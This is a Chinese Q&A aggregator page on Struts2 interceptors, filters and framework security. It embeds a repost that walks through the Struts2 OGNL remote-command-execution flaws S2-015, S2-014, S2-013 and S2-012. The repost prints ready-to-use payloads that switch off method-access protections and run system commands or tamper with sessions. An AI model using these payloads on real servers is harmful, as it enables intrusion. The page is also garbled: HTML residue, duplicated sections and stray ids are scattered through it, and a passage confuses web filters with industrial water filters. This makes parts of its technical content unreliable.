本文目录一览:
- 1、struts2拦截器的作用是什么(它拦截什么)??过滤器的作用是什么呢(过滤什么)??
- 2、关于struts 2为什么会有代码执行漏洞的小帖子
- 3、struts2 拦截器和过滤器的作用是什么?
- 4、比较区别一下:struts2拦截器 过滤器和spring拦截器
- 5、如何配置struts2的过滤器
- 6、java的框架(比如struts2)对于xss攻击、sql注入等黑客方式有防御么?
struts2拦截器的作用是什么(它拦截什么)??过滤器的作用是什么呢(过滤什么)??
拦截器只能拦截Action,说明白点拦截器其实是Action的功能块,只在Action前后执行,初学者肯定会有疑问,把功能全都写在Action中就行了呀,为什么要把功能分出来,其实这个struts2的一个强大之处,你想想,假如这个功能块很多Action都要用,难道你的这些Action中都要写呀,就算复制粘贴也不方便呀,你把它做成功能块,哪个Action需要就在哪个Action中配置就好了,更好的方法是,创建一个公共的Action,把通用的东西全配置到这里面,其他Action引用(继承)就可以了
过滤器是拦截用户请求的,范围明显比拦截器大的多,你上网时肯定碰到过这中效果,你想下载个东西,点击下载先跳出登陆页面,这就是拦截器搞的鬼,没有登录前很多页面或Action都被他拦截了
关于struts 2为什么会有代码执行漏洞的小帖子
Struts结构
把里面的例子在tomcat里部署一下,就可以测试了。简单说一下struts 2的结构。
struts 2的安装是在web.xml里添加这样的一句,将Struts2所带的过滤器org.apache.struts2.dispatcher.FilterDispatcher配置到工程的web.xml文件中,默认情况下,该过滤器拦截请求字符串中以.action结尾的请求,并将该请求委托给指定的Action进行处理
filter
filter-namestruts2/filter-name
filter-classorg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter/filter-class
/filter
filter-mapping
filter-namestruts2/filter-name
url-pattern/*/url-pattern
/filter-mapping
关于action的定义是在struts.xml中,其中default-action-ref是所有action都捕获不到时的选项。
result type="redirectAction"的作用是捕获到该action重定向到其他页面。
最后include了另外一个XML
package name="default" namespace="/" extends="struts-default"
default-action-ref name="index" /
global-results
result name="error"/error.jsp/result
/global-results
global-exception-mappings
exception-mapping exception="java.lang.Exception" result="error"/
/global-exception-mappings
action name="index"
result type="redirectAction"
param name="actionName"HelloWorld/param
param name="namespace"/example/param
/result
/action
/package
include file="example.xml"/
这个example.xml定义了action的具体实现,最后一个action通配符这里{1}代表了第一个通配符所匹配到的字符串。
package name="example" namespace="/example" extends="default"
action name="HelloWorld" class="bb4a-2741-5356-0b42 example.HelloWorld"
result/example/HelloWorld.jsp/result
/action
action name="Login_*" method="{1}" class="2741-5356-0b42-1644 example.Login"
result name="input"/example/Login.jsp/result
result type="redirectAction"Menu/result
/action
action name="*" class="5356-0b42-1644-e067 example.ExampleSupport"
result/example/{1}.jsp/result
/action
!-- Add actions here --
/package
OGNL语法
struts使用了OGNL,虽然不知道为什,但是OGNL还是很强大的。
关于它的特性可以看下面的几个页面
Struts近期漏洞
漏洞列表,这里命令执行漏洞的利用方法,多是找到一处可以OGNL解析的地方,POC的构造大同小异
S2-015
官方描述
A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.
触发条件
当*匹配到一串精心构造的OGNL语句时,会把它放到{1}中,形成OGNL二次执行。
action name="*" class="0b42-1644-e067-273d example.ExampleSupport"
result/example/{1}.jsp/result
/action
POC
一般来说Struts EXp中allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution应该是常客,规定了OGNL中是否可以调用静态变量。
最后的.action是为了让拦截器捕捉,最后进入{1}的是前面的部分
${
%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),
(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()
}.action
如果页面返回像这样,说明执行成功,0是waitFor()返回的值。
HTTP ERROR 404
Problem accessing /struts2-blank/example/0.jsp. Reason:
Not Found
详细原理这里不作分析,因为别人都做好了。其中提到 JavaSnoop的代码审核工具,貌似不错。
S2-014
官方描述
A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks
触发条件
URL标签的includeParams为get或all
s:url id="url" action="HelloWorld" includeParams="all"
Demo里面的情况如下,%{url}是上面定义的URL标签,当includeParams为all时,会把get或post提交的参数添加到自身的param列表中
li
s:url id="url" action="HelloWorld" includeParams="all"
s:param name="request_locale"en/s:param
/s:url
s:a href="%{url}"English/s:a
/li
POC
执行代码
{%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
修改Session
{%23session[%22hacked%22]='true'}
不过在执行的时候爆了一个错误,原因不明。
java.lang.ProcessImpl%40e3fda7
S2-013
官方描述
A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
触发条件
这个洞和S2-014原理相同,因为官方没修不好而报了两次。
POC
这个可以成功执行
(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
翻译成人类能看懂的,这个利用还是很有意思的
?fakeParam=%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}
S2-012
官方描述
Showcase app vulnerability allows remote command execution
触发条件需要定义一个 type为redirect的result,从这里可以看出,直接把利用代码贴到${currentSkill.name}这里就可以了
action name="save" class="1644-e067-273d-c625 org.apache.struts2.showcase.action.SkillAction" method="save"
result type="redirect"edit.action?skillName=${currentSkill.name}/result
/action
POC
PRE class=code-java style="PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 5px 5px 5px 15px; LINE-HEIGHT: 13px; PADDING-RIGHT: 0px" name="code"%{(#_memberAccess['allowStaticMethodAccess']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"true/SPAN)(#context['xwork.MethodAccessor.denyMethodExecution']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"false/SPAN) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}/PRE
PRE/PRE
H3A name=t8/AS2-011/H3
DIV官方描述,DOS和我关系不大/DIV
DIV sizcache="1" sizset="29"PRE class=html name="code"Long request parameter names might significantly promote the effectiveness of DOS attacks/PREBR
H3A name=t9/AS2-010/H3
/DIV
DIV官方描述/DIV
DIV这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。/DIV
DIV sizcache="1" sizset="30"PRE class=html name="code"When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes/PREBR
BR
/DIV
BR
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
S2-011
官方描述,DOS和我关系不大
Long request parameter names might significantly promote the effectiveness of DOS attacks
S2-010
官方描述
这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。
div class="e067-273d-c625-316b dp-highlighter bg_html"
When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes
struts2 拦截器和过滤器的作用是什么?
struts2拦截器,在AOP中用于在某个方法或字段被访问之前,进行拦截然后在之前或之后加入某些操作。拦截是AOP的一种实现策略。过滤器是输送介质管道上不可缺少的一种装置,通常安装在减压阀、泄压阀、定水位阀 ,方工过滤器其它设备的进口端设备。
介绍:
java里的拦截器是动态拦截Action调用的对象。它提供了一种机制可以使开发者可以定义在一个action执行的前后执行的代码,也可以在一个action执行前阻止其执行,同时也提供了一种可以提取action中可重用部分的方式。在AOP中拦截器用于在某个方法或字段被访问之前,进行拦截然后在之前或之后加入某些操作。
原理:
大部分时候,拦截器方法都是通过代理的方式来调用的。Struts 2的拦截器实现相对简单。当请求到达Struts 2的ServletDispatcher时,Struts 2会查找配置文件,并根据其配置实例化相对的拦截器对象,然后串成一个列表(list),最后一个一个地调用列表中的拦截器。Struts2拦截器是可插拔的,拦截器是AOP的一种实现。Struts2拦截器栈就是将拦截器按一定的顺序联结成一条链。在访问被拦截的方法或字段时,Struts2拦截器链中的拦截器就会按其之前定义的顺序被调用。
拓展:
过滤器由壳体、多元滤芯、反冲洗机构、和差压控制器等部分组成。壳体内 的横隔板将其内腔分为上、下两腔,上腔内配有多个过滤芯,这样充分利用了过滤空间,显着缩小了过滤器的体积,下腔内安装有反冲 洗吸盘。工作时,浊液经入口进入过滤器下腔,又经隔板孔进入滤芯的内腔。大于过滤芯缝隙的杂质被截留,净液穿过缝隙到达上腔, 最后从出口送出。
比较区别一下:struts2拦截器 过滤器和spring拦截器
原理都是一样的,责任链
设计模式
。
区别就是用的地方不一样,拦截的位置不一样。
过滤器是
web标准
,一般配置在web.xml中,在遇到符合规则的请求时处理。
struts2
拦截器
,是struts提供的,配置在struts.xml中,拦截struts的Action请求并处理,如果你的请求不符合struts要求未被struts处理,则拦截器同样不会触发。
spring跟struts一样,只是由
spring框架
提供,未被spring管理的对象方法是不会被拦截的。
如何配置struts2的过滤器
你说的是拦截器吧
第一步:创建一个类实现Intercepter接口并实现其中方法
第二步:注册拦截器(在struts.xml)如:
package name="cust"
namespace="/cust"
extends="struts-default"
interceptors
!-- 注册拦截器 --
interceptor name="first"
class="273d-c625-316b-cd1a com.interceptor.FirstInterceptor"/
interceptor name="second"
class="c625-316b-cd1a-0010 com.interceptor.SecondInterceptor"/
!-- 注册拦截器栈,将所有拦截器打包在一起 --
interceptor-stack name="mystack"
interceptor-ref name="first"/
interceptor-ref name="second"/
!-- 引用自定义的拦截器时,会使struts2自带的拦截器失效
因此,要将默认的拦截器加入到自定义的拦截器栈中 --
interceptor-ref name="defaultStack"/
/interceptor-stack
/interceptors
!--第三步: 引用拦截器 ,
action name="toUpdateCustomer"
class="316b-cd1a-0010-5e3e com.action.ToUpdateCustomerAction"
method="execute"
!-- 引用拦截器 ,
interceptor-ref name="first"/
interceptor-ref name="first"/--
!-- 引用拦截器栈,会一次将所有的拦截器引用 --
interceptor-ref name="mystack"/
result name="success"
/WEB-INF/cust/update_customer.jsp
/result
/action
/package
供参考
java的框架(比如struts2)对于xss攻击、sql注入等黑客方式有防御么?
框架本身并不具有这些功能。
防止xss,sql等的攻击大部分需要程序员自己注意。
sql注入本身就是sql语句写法的漏洞导致。
xss攻击的防御还是需要对非法字符串进行判断过滤。